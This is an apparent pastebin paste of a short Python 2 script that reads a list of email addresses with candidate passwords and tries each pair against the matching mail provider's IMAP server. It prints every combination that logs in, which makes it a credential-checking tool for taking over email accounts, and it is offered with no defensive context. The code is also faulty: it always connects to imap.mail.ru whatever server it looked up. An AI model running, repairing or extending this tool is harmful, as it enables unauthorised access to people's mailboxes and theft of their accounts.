· 9 years ago · Oct 25, 2016, 06:14 AM
1import sys
2import re
3import imaplib
4
5servers = {
6 "mail.ru": "imap.mail.ru",
7 "yandex.ru": "imap.yandex.com",
8 "yandex.ua": "imap.yandex.com",
9 "yandex.com": "imap.yandex.com",
10 "ya.ru": "imap.yandex.com",
11 "gmail.com": "imap.gmail.com",
12 "bk.ru": "imap.mail.ru",
13 "inbox.ru": "imap.mail.ru",
14 "list.ru": "imap.mail.ru",
15 "reskwer.ru": "imap.yandex.com",
16 "ukr.net": "imap.ukr.net",
17 "rambler.ru": "mail.rambler.ru",
18 "li.ru": "imap.mail.ru",
19 "land.ru": "imap.qip.ru",
20 "qip.ru": "imap.qip.ru",
21}
22
23with open(sys.argv[1]) as f:
24 content = f.readlines()
25for l in content:
26 p = re.split("\s+", l.strip());
27 user = p.pop(0)
28 try:
29 domain = user.split("@")[1].lower();
30 except:
31 print "Invalid line " + user
32 pass
33 try:
34 server = servers[domain]
35 except:
36 print "Uknown server for domain " + domain
37 server = "imap." + domain
38 p = list(set(p))
39 for password in p:
40 imap = imaplib.IMAP4_SSL("imap.mail.ru", 993)
41 try:
42# print "Trying " + user + " " + password
43 imap.login(user, password)
44 except:
45 continue
46 imap.logout()
47 print "OK " + user + " " + password